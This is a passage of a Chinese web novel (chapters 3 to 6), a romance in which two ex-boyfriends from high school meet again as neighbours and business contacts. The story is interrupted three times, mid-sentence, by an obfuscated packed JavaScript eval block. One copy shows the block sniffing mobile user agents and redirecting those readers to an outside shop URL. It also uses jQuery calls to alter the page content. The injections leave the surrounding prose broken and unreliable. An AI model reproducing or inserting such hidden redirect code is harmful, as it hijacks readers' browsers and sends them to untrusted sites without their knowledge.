《和前夫哥破镜重圆后》 3. 好巧 杨瑞原被路锦弛一本正经的样子和那一个“对象”惊得目瞪口呆,在路边跟他玩起了大眼瞪小眼。 潮湿的泥土气息萦绕在鼻尖,气味过于强烈。路锦弛举着伞,牢牢地罩住两人。 街道不断驶过车辆,刺眼的车灯光一阵一阵从身后射来,路锦弛和杨瑞原挨得极近,近到杨瑞原能清楚地看见路锦弛微颤的眼睫,还能感受到他讲话时的吐息: “哎,好吧……那我只能在这里干等着。或者就这样淋着雨跌跌撞撞走回去吧。” 雨伞不知道什么时候回到了杨瑞原手上,他深呼吸几下,脸上依旧一片冷淡:“都说了让你自己去买一把伞,想待就待着去吧。” 说罢他错开站定在原地的路锦弛,头也不回地往前走了。路锦弛这时候倒是学乖了,见杨瑞原真的没有邀请他的意思,任由雨丝滴在身上,冷得他在灯光下微微打颤。 “不赶紧跟上来,准备站在这儿当路灯吗?” 杨瑞原在前面不远处停下,没好气地翻了个白眼,到最后还是败给了心软。 要不是灯光照得太清晰,他都发现不了这人在打哆嗦。 路锦弛没跟上来,他莫名烦躁;等他开口让对方过来,烦躁感却又达到了顶峰。 路锦弛的大脑缓慢处理了一下这句话背后的意思,“哦”了一声屁颠屁颠小跑过来,钻到了伞底下。 杨瑞原在他过来的那一刻抬脚就走,路锦弛紧紧挨着他,身子开始歪歪斜斜地往杨瑞原那边靠,跟没骨头一样。见对方虽然僵直了身子,但是给他搭了把手让他站更稳,开始变本加厉,最后整个人几乎要贴了杨瑞原身上。 “哎,要不我来撑伞吧。”路锦弛顺理成章地把伞柄又顺回自己手里,“就当是我弄脏你的小白鞋的赔罪。” 赔罪、赔罪、赔罪,杨瑞原都懒得数这一晚上路锦弛说了多少个赔罪了,这人也就爱耍嘴皮子,做的事没一件是能看出来抱歉的。 杨瑞原嗤笑:“真想赔罪,不应该把我的鞋拿去擦干净吗?或者你让我踩一脚把你鞋也踩脏。” 谁知路锦弛竟然真的认真思考了一会:“也行?你踩吧,不过我的鞋比较好擦。” 杨瑞原顺着他的话低头一看。 这货为了耍帅,居然还穿了双板正锃亮的德比皮鞋。 “……”杨瑞原无语,但恶向胆边生,“这可是你说的,我真踩了?” “来!”路锦弛大方地把脚伸到他面前。 杨瑞原犹豫,小心翼翼地轻轻踩了一下他的鞋尖,让上面沾了一小块灰。 路锦弛没憋住轻笑了一声。 杨瑞原装没听见,板着一张脸道:“好了,我们两清了。” “不算两清。”路锦弛刚还翘起的嘴角因为他这句话立马下压,“我今天是打着你的伞回去的,还欠你一次。” “随便你。”杨瑞原没法理解他曲折的脑回路。 周围的建筑被一个个甩在后面,模糊在雨幕中。杨瑞原和路锦弛保持了一会儿诡异的静默,直到路锦弛兜里的手机嗡嗡声不停。 单人伞罩的范围小,他们不得不挨近贴一点,于是杨瑞原能清楚感受到他手机的振动。 “你回消息吧,我打着就行。”杨瑞原想把伞接过来,路锦弛看了眼手机摇头:“垃圾消息,不用管。” 他没把手机踹回去,而是晃了晃亮起的屏幕,不经意问道:“班长,听歌不?” 路锦弛动作刻意又明显,手机亮度能刺瞎眼睛,杨瑞原也就不可避免地看见了他的屏保—— 那是一张他再熟悉不过的照片,杨瑞原记得这天,学校举办了毕业典礼,路锦弛硬拽着他在回家的路上,迎着昏黄的灯光头靠头拍下。 两个穿着校服的人紧贴,眉眼间青涩。杨瑞原还架着一个死板的黑框眼镜,眼睛弯弯盯着镜头,路锦弛单手在他面前比了个心,笑得张扬开怀。 他们的心口处印着彼此的签名,中间还加了小爱心。 “哎?听不听嘛?” 路锦弛见杨瑞原看着他的屏保发呆,眼神微不可察地暗下,开口打断了杨瑞原的思绪。 杨瑞原回神,闻言果断拒绝:“你自己听。” 开玩笑,他现在绕着路锦弛走都来不及,怎么可能还和他跟高中情窦初开的小情侣一样,共享耳机同听一首歌。 “真不听啊?”路锦弛一脸遗憾地戴上蓝牙耳机。 路锦弛爱听带点年代感的歌,杨瑞原高中和他共享歌单时知道; 路锦弛听歌时很爱跟着一起哼,这也是杨瑞原高中时得出的结论。 但是杨瑞原没想到几年不见,路锦弛已经不满足于跟着旋律哼唧,而是发展到了张嘴唱。 过于投入的感情让路锦弛的调有些跑偏,杨瑞原实在不忍卒听,偏过头试图逃避,还不忘冷嘲热讽一下:“唱的真是一如既往的难听。” 路锦弛听见也不生气,而是问了他另一个问题:“你手机真丢了?怎么丢的?” 杨瑞原:“难不成还能假丢?一个不注意他们一掏一摸,手机就没了。” “在国外丢了的话,补办手机号很麻烦吧?” 路锦弛盯着杨瑞原的侧脸皱起了眉,脑补了一堆杨瑞原在异国他乡的艰难处境。 比如手机丢了要怎么去补办、没有认识的人陪在身边、人在国外要补办电话卡的话那些乱七八糟的繁琐手续…… 路锦弛越想,眉头就蹙得越紧,杨瑞原还没回话他就喋喋不休道:“那时候怎么联系别人?没有老师同学陪你一起去吗?没人欺负你吧?” “没有……”杨瑞原打断了他的胡思乱想:“我是登飞机前在机场被偷的,正好飞回国了,下了飞机去销号重新补办一张就是了。” “……”路锦弛的大脑和嘴巴一起沉默了。 路锦弛:“哦。” 他尴尬地别开目光,耳边只剩下手机播放的悠扬旋律,杨瑞原回答完也不再说多余的话。 “那你原来的号呢?”不知道是不是半夜容易伤感,加上酒精的熏染,路锦弛轻声试探着饭桌上难以启齿的问题,“不是可以找回来吗,怎么没见你登录过。” 杨瑞原淡淡道:“手机丢了就没登过,既然换了个号干脆一切都重新开始吧。” “毕竟——”他的视线不咸不淡地从远处挪回来,和路锦弛对望,“那个号上也没有很重要的人。” 路锦弛的心脏陡然下坠。 杨瑞原说最后一句话时眼睛里还带着淡淡的笑意,让他听到“没有重要的人”时大脑嗡鸣,手指无意识蜷缩又无力垂下。 良久,路锦弛才听见自己冷哼一声:“嗯,都丢干净了,挺好的。” 他赌气一样不再看杨瑞原,絮絮叨叨了一路的嘴此刻抿得死紧。这时候他的骨头长出来了——至少能自主站立,没有继续赖在杨瑞原身上。 杨瑞原呼吸错乱一拍,有点心虚地别过头。激怒路锦弛、划清界限是他想干的,可真的用伤人的话扎了路锦弛的心后,他自己也不成滋味。 但他又拉不下脸来反悔不经思考脱口而出的话。 别扭地又同走了一段路后,他们之间的气氛仍旧没有丝毫缓和。 一路走到小区门口,杨瑞原才探头去看路锦弛。 路锦弛冷着脸,下颌线紧绷,一副心情不好别惹我的样子。杨瑞原的手拿住伞柄,轻咳道:“快到了,把你送到楼底下就把伞给我吧。” 他在这个小区里最里面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨瑞原准备去按,看到已经亮起的楼层数字愣住,裂开的心直接被鞭尸暴击,彻底成了一地碎渣。 见他久久没有动静,路锦弛打趣道:“班长怎么还不按?哦……是不想我看到是吧?那好吧。” 他说完很自觉地不去看电梯按键,杨瑞原则是绝望地闭上了眼。 电梯缓缓行至20楼,路锦弛先一步出去,杨瑞原内心挣扎片刻,在“跟着出去”和“乱按一个楼层等路锦弛回家再回来”指尖,还是选择了前者。 他认命地跟在路锦弛身后出了电梯门,来到了路锦弛对面的门前,祈祷对方最好一直背对着他别看见。 “欢迎回家!” 指纹锁开门的提示音在寂静楼道里骤然炸响,杨瑞原头皮发麻,已经羞耻到不敢转身。 “这么巧?”路锦弛惊讶道,“我们居然是对门哎!” 回答他的是杨瑞原歘地窜进门的背影,还有“嘭”的一声门响。 路锦弛哑然失笑。 杨瑞原进了门后捶胸顿足、掩面崩溃。 打死他都想不到居然还能和路锦弛是对门!要是知道打死他都不会选择这个房子! 路锦弛那边迟迟没有合门声,短暂平复了一下心情后,杨瑞原扒在猫眼上看对面的动静。 男人还是不动声色地站在原地,目光锁在杨瑞原的门上。杨瑞原隔着猫眼,总感觉自己好像也被他锁定了位置,用目光狠狠箍住了手脚。 路锦弛呆的时间不长,很快就开锁进屋。 在门关上的前几秒,杨瑞原看到了从他口袋里滑落出的雨伞挂绳。 4.又见 路锦弛的雨伞和大衣是一个颜色,杨瑞原难免会怀疑是不是自己眼花看错。 直到他扒在猫眼上看见路锦弛手指勾住绳子,往外一拉,那把黑伞完完全全展露了出来,被路锦弛放手心里掂了两下,然后跟着主人一起进了屋,彻底隔绝了杨瑞原的视线。 杨瑞原气得笑了一声。 他带着匪夷所思关闭了猫眼,一时拿不准路锦弛今晚蹭伞的意义在哪。 逗他玩?还是想叙旧? 总不可能是喜欢挨着他。 这个想法一冒出来,杨瑞原就觉得自己实在自作多情了。说不定路锦弛就是懒得打伞才要蹭呢。 前男友一个无心之举,反倒让他思维发散浮想联翩了一堆,要是叫庄晓笙知道高低要恨铁不成钢说他一顿。 周一还要去分部报道,小小的插曲很快被他抛之脑后。 聚完餐后大家又各奔东西,除了高束要到A市的总部工作,剩下的同学都三三两两地分散在W市。 小群里自从聚完餐后又短暂地沉寂下来,杨瑞原瘫在家里过完了一个清闲的周末,周一准时出了门。 公司距离公寓也不远,杨瑞原乘地铁到地方时居然还算来得最早的一拨人。 杨瑞原顺着指示左拐右转,经过了一个个较为空荡的办公区域,来到人事部门口。 还没等他敲门,一个青年就抱着册子,闷着头大步流星闯了出来,差点和他撞上。 两个人都被吓得后撤,对方草草打量了杨瑞原一遍:“新来的?” “对。”杨瑞原把调岗信息调出来给他看,青年低头在册子上翻了几页,对着照片抬头确认:“杨瑞原……调岗到分部产品部经理是吧?” 他把册子一合,快速处理了一下杨瑞原的入职信息,语速急切道:“我刚刚给你发了好友申请,记得通过一下,好把你拉进分部工作群。分部现在人手不多,谢谢你愿意来帮衬这段时间……要我带你去你的办公室吗?” “不用了。”青年滴里嘟噜说了一大串,最后一句话出来时杨瑞原没转过弯,下意识拒绝了。对方好像真的很忙,匆匆点头:“欢迎加入分公司。”接着一阵疾走消失在了杨瑞原视线里。 还好没有真叫他带自己去办公室。 杨瑞原靠着公司墙上挂的指示图,绕了一圈后找到了产品部。因为分公司人少,就连他一个小经理都有个小办公室,独立于整个产品部。 阳光被前面的高楼大厦层层遮挡削减,照到杨瑞原办公室的只有一小块。杨瑞原简单收拾了一下,瘫坐到了办公椅上,开始处理琐碎的消息。 他随手翻着消息列表,置顶的聊天记录还停留在他建议路锦弛换个保暖的大衣,对方回的一个冷冰冰的“好”字。杨瑞原划拉的手停滞一瞬,若无其事地挪开了目光,新的消息提示弹了出来。 【LLL:我是分公司人事部文良。】 原来刚刚那个青年叫文良。 杨瑞原一边碎碎念一边通过好友申请,对方的速度很快,直接把他拉进了工作群。 他按习惯屏蔽了群消息,无聊翻聊天记录时才发现总部工作群倒是一反常态地多了个小红点。 杨瑞原好奇点进去,高束那眼熟的id和头像出现在主页,兴致高昂地发了一段自我介绍后加了个打招呼的表情包,没人理睬。 共情到尴尬的杨瑞原也默默退出聊天页面。 忽然,他的目光定格在文良的界面上。 杨瑞原点开文良的头像,仔细一看才发现是两个戴口罩的男生比心的照片,就连朋友圈置顶也是和对方的旅游照片,最新一条还是说要同居。 没想到W市的性少数群体还蛮多,杨瑞原稀奇感慨,顺手给文良的置顶点了个赞。 分公司运营时间不久,上班也没什么要紧的事情处理,杨瑞原也无所事事,每天按部就班地在公司和家两点一线。 当然,他也有幸因为在公司门口见过好几回接文良下班的人。 看身形样貌,是文良头像里的另一半。 或许是自己每次装作不经意的目光太明显,杨瑞原竟然破天荒地收到了文良的消息。 文良坦诚地给他说了自己的性取向,给正在茶水间泡茶的杨瑞原呛得剧烈咳嗽,属实是没料到他这么直白。 文良反而比他还疑惑:“之前在总部听说了一些事情,还以为你是恐同人士,倒是和我脑补的不太一样。” 杨瑞原从他支支吾吾的神情中猜到了是自己流传在外的哪个八卦,头疼道:“我那是实在受不了这种热情,不是我恐同,我喜欢的人也是男生。” “哦……” 在了解到杨瑞原的取向后,文良整个人也变得滔滔不绝。加上杨瑞原来分公司见到的第一个人也是他,两人很快熟络起来。 又一天的闲聊,文良突然提起了公司最近在谈的合作。 【文良】:我对象是甲方公司的,据说项目已经敲定了,过几天来视察。 【杨瑞原】:这么巧?他要来我们公司吗? 【文良】:他给我说要来,他们老板好像也要跟着一起。 杨瑞原没忍住多问了一嘴:“他们老板姓什么啊?” 那天同学聚会上提到了路锦弛自己开公司创业,杨瑞原心道W市就这么大点,万一能碰巧见到呢? 【文良】:好像姓陆? 杨瑞原的热情澎湃哗啦一下变成了透心凉。 说来也奇怪,明明他们俩确实只剩了高中同学这层关系,一切都变成了过去式,对方现在过得如何根本不关自己什么事。但是这个事实赤|裸裸摆在面前时,杨瑞原还是觉得放不下。 虽说放不下以前的也就他自己。 一想到这种可能性,杨瑞原内心就拧着发疼发酸。 他缓了缓神,给文良回了个“OK”。 到了客户定下的视察日期,杨瑞原早早就准备好出了门,又想起多日没见的路锦弛,盯着他的门发呆,大脑胡思乱想。 自从上次聚完餐后,路锦弛一直都没有动静,这几天杨瑞原倒是再也没见过他出现。 也不知道路锦弛躲着他的这些天在干嘛,杨瑞原都要怀疑他是不是因为自己住对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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待他转过身时,果然是杨瑞原熟悉得不能再熟悉的一张脸。 原来是“路总”,还以为是“陆总”。杨瑞原因为路锦弛的出现,嘴角差点扬了起来,意识到自己不同寻常的反应,他又赶紧绷住了表情。 路锦弛也看到了杨瑞原,本来波澜不惊的表情松动几分,玩味地冲他挑了挑眉。 跟在路锦弛旁边的助理杨瑞原也熟悉,正是文良的男朋友李嘉晟,今早甚至刚送文良来上班。 等业务员把他们互相给对方介绍完后,路锦弛径直挡开准备上前和杨瑞原握手的李嘉晟,把自己的手伸到了他面前。 被顶开的李嘉晟双眼迷茫地在路锦弛和杨瑞原之间打转。 杨瑞原把路锦弛的动作尽收眼底:“……” 怎么还是这么幼稚? 但他还要装作见到客户很开心的样子,握上路锦弛完好无损的那只手:“路总好。” “叫这么生分干什么。”路锦弛笑眯眯地故作惊讶道,“我们难道不认识吗?” 5.前任 杨瑞原嘴角抽搐,压到声音只有他们俩能听见:“我们应该认识?” 两人交握的手还没放开,杨瑞原刚刚那句话说得咬牙切齿,刻意放低的音量还是能被周围人听了去。路锦弛好整以暇地望着杨瑞原,后者的表情有一刹那的崩坏,瞪向路锦弛的眼神里火药味十足。 李嘉晟在这剑拔弩张的氛围里和业务员对视上,干巴巴道:“没想到两位认识啊。” “那当然。”路锦弛抓着杨瑞原的手不松开,一本正经道,“不知道后面的流程能不能邀请杨经理加入?正好我们也能深入交流一下。” “这……”业务员有些犯难,毕竟杨瑞原只负责一小环节,对整个合作内容了解不是很透彻。 路锦弛解释道:“没事,杨经理陪同就好,正巧我们也能叙叙旧。” 他真挚地看着杨瑞原,这还是他们重逢后第二次直直对上目光。杨瑞原下意识地望进路锦弛的眼底,看见一片黝黑里过分的沉静。 业务员求助似的看着杨瑞原,对方又率先瞥开视线,抽出被攥住的手,微笑答应:“当然可以。” 他和路锦弛、李嘉晟走在最后面,和其他人隔了一小段距离,业务员在前面兢兢业业介绍各部门,李嘉晟在旁边小声控诉路锦弛:“凭什么你能让人家陪同,就不能让我去找我对象?” 路锦弛自动忽略他的牢骚,一直在骚扰杨瑞原,像是个好奇宝宝什么都要问一嘴:“杨经理,这是你们哪个部门负责?” “哦,那这个是干什么用的?” …… 杨瑞原尽量忽视他有如实质的目光,有一搭没一搭地回答他无聊的问题。 一路走过来讲得杨瑞原口干舌燥,路锦弛估计也是问累了,半天没出声,只是眼神时有时无地锁定在杨瑞原身上,看得他一阵刺挠。 饥渴感愈发强烈,杨瑞原决定找个机会开溜,李嘉晟还在喋喋不休地向路锦弛请示去找文良。 说曹操,曹操到。杨瑞原正想着跑路的理由,文良就开始找他:“在吗杨哥?” 杨瑞原眼睛一亮,快速回复他:“准备去茶水间,你过来就行。”随后挤出为难的表情跟路锦弛说:“实在不好意思了,路总。部门这边临时有事找我,后面陪同不了了,有问题和我们业务员商量吧,他专业能力也很强的。” 他这一个突然抽身,所有人的目光聚焦到他们身上。出乎意料的是路锦弛这次再也没做什么挽留的动作,反而直接侧开身子,一脸坦然道:“这么急?那快去吧,辛苦杨经理一路讲解了。” 不像是路锦弛正常的作风,像是被夺舍了。 杨瑞原狐疑地跑到茶水间,文良早早就到了那里,还贴心地给他接了杯水,渴得杨瑞原吨吨吨灌了半杯。 他问文良:“不是说甲方老板姓‘陆’,陆地的陆吗?怎么是足字旁的‘路’啊?” 文良:“哎呀,同音字嘛,说的时候难免会搞混。不过——” 他话锋一转:“你怎么那么关心他姓什么?认识啊?” 杨瑞原轻轻咳了一声:“……认识,高中同学嘛……前几天聚会的时候提到过他在创业,我就问问是不是他。” 这番说辞把文良暂时糊弄了过去,至少没有揪着他别扭的神态继续刨根问底下去。 “阿良!” 杨瑞原正和文良聊到李嘉晟心急如焚想来看他,话题当事人就跑了过来。 “杨经理也在啊?”李嘉晟紧急刹车,礼貌地和杨瑞原握了握手,“见过这么多次也没主动和你打过招呼,刚刚老板不知道又抽哪门子风打断流程,真是不好意思啊。” “没事没事。”杨瑞原笑道,“你背后这么说你老板,不怕被人听见告状啊?” 文良在一旁提醒道:“我们杨经理和路总是高中同学哦。” 李嘉晟手一挥:“这有什么,和老路都是兄弟,平时打打闹闹习惯了,这种玩笑还是开得起的。 “确实也没想到杨经理你俩关系这么熟,高中同学哎。也没听老路提起过。” 杨瑞原淡笑:“我和路总断联好几年了,想不起我这号人挺正常的。” “不不不,刚看他那表情就知道肯定记得你。”李嘉晟否定了他,“我估计是他的感情在高中时候被狠狠中伤了,才这么逃避提起高中同学。” 杨瑞原:“感情……中伤?” 李嘉晟开了话匣子一样:“是啊,你俩这么熟,你应该知道一点他高中谈的前任的事儿吧。他每次喝醉了就在那怀念他初恋,我问陈智恒他也不给我说,就吊着我胃口,死活不告诉我他俩到底发生啥了能闹成这样。” 杨瑞原作为路锦弛的初恋、高中时路锦弛谈的对象、路锦弛醉酒怀念的头号嫌疑人,尬笑道:“知道一点,我也不好细讲。” “懂。”李嘉晟表示理解。 杨瑞原试图想象路锦弛喝醉后念叨自己名字的样子……想象不出来。 在他印象里,路锦弛的酒量算是很能打的。高中成年后两家人聚过好几次餐,杨瑞原被一小杯白酒放倒,路锦弛还能跟他俩的父亲喝得有来有回,甚至最后自告奋勇把杨瑞原架回了房间。 所以他也从来没见到过路锦弛醉酒的样子,倒是他耍酒疯的样子让路锦弛拍了不少照片。 但杨瑞原现在没有什么立场去对路锦弛的行为评头论足,只好跟李嘉晟道:“多劝慰他一下,借酒消愁愁更愁。” 说完他自己都在心里嘲笑了一番这句话。 曾几何时,他也为情所困过。 “不是大哥,你刚跟我恢复联系就是出来喝闷酒啊?” 庄晓笙坐在清吧里,看着杨瑞原已经通红的脸,把酒捞到自己面前:“别喝了!等会你怎么回学校去。” 杨瑞原高考结束后全家突然搬迁,自从出国后本人也没有登上过社交账号,单方面和所有人断了联系。庄晓笙只知道他考前和路锦弛吵过一架分了手,问了路锦弛才发现他更联系不上杨瑞原。 幸好她和杨瑞原考了同一所大学,还有见面的时候,这才加上杨瑞原的新号,得知他在国外用的都是另一个号码,不怎么用旧号。 “我真没醉,我心里有数。”杨瑞原无奈道。 他做交换生时和老外待在一起,party上大多都是酒,一年把自己酒量练了上去,现在人非常清醒,就是容易上脸。 庄晓笙不信,直接干了那杯酒,不给他继续喝下去的机会:“喝醉了的人都会说这句话。” 杨瑞原不想过多解释什么,只是说:“我就是又想到那谁,愁得想小酌一下。” “要不然说你俩啥锅配啥盖呢。”庄晓笙无语地翻了个白眼,“陈智恒昨天还发了个朋友圈,说路锦弛喝醉了想你呢,还给你打电话,没打通。” 杨瑞原慢悠悠思索了一会:“哦,他能打通就怪了。他只有我旧手机号……我手机都没了,上哪接他去……” 庄晓笙耐心安慰酒鬼:“那你不也一样,俩死活不长嘴的恋爱脑。与其在这借酒消愁,你倒是勇敢给他打电话啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080135|194888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……不敢。”杨瑞原怂得很快,“我之前在国外……上完课、很想他的时候打过一次,他没接。” “我真服了你了,你凌晨给他打什么电话。”庄晓笙头疼道,“我也真是多余跟你提他。趁现在还能走赶紧回学校,快点。” 杨瑞原被庄晓笙强制赶回了学校,窝在宿舍里思考了一下庄晓笙提的建议。 他在拨号栏里输入烂熟于心的号码,犹豫再三,选择了拨通。 电话铃声短短响了几秒,被对方毫不留情挂断。 杨瑞原听着里面“嘟嘟——”的忙音,垂下眼睫。 毕竟任谁大吵一架后不明不白地被断联分手,都不会有什么好脾气。 李嘉晟还沉浸在倒兄弟糗事的快乐里:“我说老路他前任脾气也真好,被打过这么多次电话居然能忍着没骂他,现在还住他对面了,这不更方便他骚扰了吗?” 杨瑞原敏锐抓住了他话里的关键词:“他前任住他对面了?” “对啊,老路把那两个房都买了,之前接济我住了一阵。不过我已经搬出来了,没想到他转手租给前任了。”李嘉晟见他对路锦弛的八卦很感兴趣,继续引导道,“他今天手也是因为住对门的前任伤的。” “我……他怎么伤的?”杨瑞原没想到还有自己的锅,差点说漏嘴。 “自从他前任住进来后,外边楼道一有什么动静他就扒门上看呗。想看看前任的作息时间,好制造些偶遇什么的。”李嘉晟啧啧称奇,“我就说他余情未了吧。今天早上又视奸人家呢,听他说好像被发现了,往回撤的时候把鞋柜上的玻璃瓶带下来打碎了,收拾的时候就划伤了。 “怂成这样还好意思视奸,我都没话说。” 杨·被视奸的当事人·瑞原尴尬地跟着他笑了两声。 槽点太多,他一时半会都不知道从哪里开始吐槽。 文良在一边听完了全程,似是注意到杨瑞原生硬的表情,结合刚刚李嘉晟说的打招呼被路锦弛打断,对杨瑞原更好奇了:“我怎么总感觉……你和路总不像只是高中同学……” “你不是上卫生间去了吗?笑这么大声,怕别人听不到吗?” 路锦弛迎着三个人齐刷刷的目光从拐角出来。 李嘉晟惊悚道:“我靠,你什么时候站那的?” “从你开始蛐蛐我喝醉开始。”路锦弛自然而然地走到杨瑞原旁边站定,“哟,杨经理不是有急事要处理吗?怎么……是在茶水间处理的吗?” 这人一开口就是犯欠的调调,配上一副欠揍的表情,让人忍不住想给他一拳。杨瑞原扯扯嘴角:“不劳路总挂心,已经处理完了。” 他们的氛围不像是普通朋友那么简单,对话的语气倒像是分手的前任一样阴阳怪气,彼此之间仿佛还有一道无形的屏障,透露着熟稔又嚣张的气息。 文良觉得自己可能看透了什么大事。 李嘉晟还浑然不觉:“不是我说你,老板。你干嘛这么针对杨经理。” 路锦弛凉飕飕地瞥他一眼:“不该打听的事少打听。在这给我公费恋爱,小心我扣你工资。” 文良拽住李嘉晟后脖颈的衣服勒住他,防止他继续脱口而出反驳路锦弛的话,冲路锦弛礼貌招呼:“路总好。” 他的视线在路锦弛和杨瑞原身上来回扫荡,只见杨瑞原毫不客气反问路锦弛:“那你来是因为什么?总不能也是要上厕所吧?” “当然不是。”路锦弛冲他一扬下巴,“我也来公费恋爱一下。” 6.邀请 李嘉晟嘲笑道:“你公费恋哪门子爱?” 路锦弛没跟他计较,视线淡淡地扫过来落在杨瑞原身上,那眼神里面好似有无尽的波涛汹涌,恨不得将杨瑞原卷入其中,将他溺在旋涡里。 杨瑞原被他看得毛骨悚然,本能地有种不好的预感。 以路锦弛语不惊人死不休的性子来看,他大抵是要说出什么惊世骇俗的话了。 果不其然,如杨瑞原所料,路锦弛垂在身侧的右手抬起,亲昵地从他的手臂滑下,虚虚拢住他的手背,杨瑞原甚至还能感觉到纱布摩挲过自己皮肤时的粗糙感:“你都能找文经理谈,那我当然——也得找杨经理谈。” 他说完又觉不够,转头挑逗似的问杨瑞原:“我能和你公费恋爱吗?男朋友。” 诧异、惊慌、羞愤……所有尴尬的情绪倾泻进杨瑞原的大脑,所有声音都仿佛被无形的屏障隔绝在耳外,他头皮发麻,险些没控制住力道,狠狠捏了把路锦弛没撒开的手,听到了对方的闷哼。 死寂,另外两个人已经被路锦弛的话震慑成了一片死寂。 看着文良和李嘉晟的眼神逐渐恍惚,杨瑞原干笑道:“听他瞎扯呢。这么久没见,路总讲冷笑话的本事倒是提升了不少。” 李嘉晟还是恍惚状态,他迷迷糊糊回想了一下路锦弛喝醉后嘴里喃喃的那个名字,好像就是叫杨瑞原…… 他不知道杨经理的本名,只好一把抓住文良,癫狂求证:“阿良,杨经理的名字是什么?!” “杨瑞原啊……”文良还沉浸在浓浓的震撼里,心说自己的预感真是准到令人胆寒。 “完了。完了完了完了!”李嘉晟目瞪口呆、悔不当初,猛地给了自己脑门一巴掌,“我靠,那我刚刚还一直在正主面前,说了那么多坏话……” 路锦弛看上去好像根本不关心他嘴漏抖落出的一箩筐糗事,还在接杨瑞原的话:“好吧,是我瞎说。和前任公费恋爱也不行了吗?” 李嘉晟看上去快要崩溃了,强撑着笑拉着文良就跑:“那什么,我上完厕所了,我俩先走了哈!” 他们两个飞速逃离了满满窒息感的茶水间,只留下杨瑞原两人对峙。 被李嘉晟离开时那句莫名其妙的话一打断,留在原地的两个人一时间都没有人先开口打破沉默。 良久,杨瑞原像是才从方才那股大脑充血的劲头缓了过来,和路锦弛呛声道:“既然都是前任了,能不能有点边界感?没有人要问你我们以前怎么样,你动不动这样很招人烦。” 路锦弛凝视着他,没有急于反驳,而是转移话题问道:“你好像,一直都不喜欢我在外人面前提起我们的关系。为什么?我们两个谈恋爱这件事很见不得人吗?” 高中时他们刚确认关系没多久,路锦弛天天嘚瑟得恨不得向全世界炫耀他们俩的关系,时时刻刻把杨瑞原挂在嘴边,在大家谈及谈恋爱的话题时总要抱着杨瑞原,大鸟依人地矫情道: “哎,还是我同桌好啊,这么温柔善解人意的对象我可得护好了,亲爱的我好爱你啊!” 彼时的杨瑞原虽然和路锦弛的朝夕相处中变得开朗了许多,但本质上还是个社恐,尤其是在面对亲密关系时,他内心不由来的一阵恐慌。 于是他手忙脚乱地推开路锦弛,动作间都带了些狼狈:“你!你别乱喊!” 好在其他同学也没当真,纷纷嘲笑道:“就你?路锦弛,别拉我们学霸下水共沉沦好吗!” “就是,班长明明是我媳妇儿!” …… 诸如此类的调笑彻底将刚刚的闹剧翻页,杨瑞原也松了口气,抬眼却对上了路锦弛暗不见底的眼神。 那时的路锦弛也是脸色不太好地问他:“你不喜欢我和别人展示我们的关系吗?” 背后的同学还在叽叽喳喳地起哄,只有杨瑞原略显慌乱的心跳咚咚咚地震着耳膜,声音微不可察:“嗯……我们先别公开吧……” 这句话在当时的语境下,传到路锦弛耳朵里就是“不喜欢”。 路锦弛因此还和他冷战了一段时间,自此之后再也没在外人面前说起谈恋爱的事情。 杨瑞原不擅长对亲密感情做出太多直白的回应,偏偏路锦弛需要热烈的回馈来不断确认他是否爱着自己。 “很见得了人吗?”杨瑞原的语气带了些颤抖道,“以前排斥是因为你对感情天真幼稚,总觉得爱迎万难、真爱无敌,根本不关心关系暴露后你会经历什么,所以我给我们都留了退路,免得你觉得后悔了还没办法抽身。 “现在排斥当然是因为我们早就分手了,你是以什么身份谈及我们两个有多亲密?都是过去的事了,你不提的话不会有人在意,我们两个就只是高中同学,好聚好散不行吗?” “分的哪门子手?”路锦弛突然逼近,将他抵在墙角,语速难得不自持地加快,“你说的分手是你一声不吭搬了家、和我断掉所有联系吗?说好的考完和我一起再好好聊未来呢,所谓的好聚好散有考虑过我的感受吗?” “又是谁不会在意,你吗?你刚刚那番话是觉得和我谈过很闹心、想迫不及待和我撇清关系吗?” 路锦弛眼眶周围已经泛红,声音因为喉头涌起的酸涩而生疼,疼得他最后一句轻飘飘的:“杨瑞原,你说的话是在否认我们两个过去的一切吗?如果你是这样觉得的话,那我知道了。” 路锦弛的神态和语气开始不对劲,很像他们之前高中时候每次吵架的样子,情绪一激动就眼眶泛红声音发颤,一副泫然欲泣的样子。 如果是冷静时候的杨瑞原,就能意识到现在的他们和当初被愤怒支配了大脑、因为一点鸡毛蒜皮的小事就要争得面红耳赤的他们完全重合。 但是杨瑞原的脾气也被他这番话刺激上来了,他将路锦弛狠狠一推,拽住路锦弛的衣领,贴着脸怒视他: “你知道什么东西,到底是谁想分手?哪次是我主动断联?我重新加回你的时候你拒绝得不是很干脆吗,我给你打电话你不是挂得很利落吗,不是和我说没有谈的必要了吗?! “是我想跟你分手么?明明是你一直在拒绝、拒绝、拒绝!你不是对我不告而别有气吗,那就如你所愿分了好了,省得显着我还要纠缠你!” 他一把甩开路锦弛,胸口剧烈起伏,气得感觉耳边一片嗡鸣。旧事重提像把锋利的刀,把他面上伪装出来的淡然一刀两断,心脏上也被捅出大大小小的窟窿,汩汩冒血。 杨瑞原背过身,不再去看路锦弛。 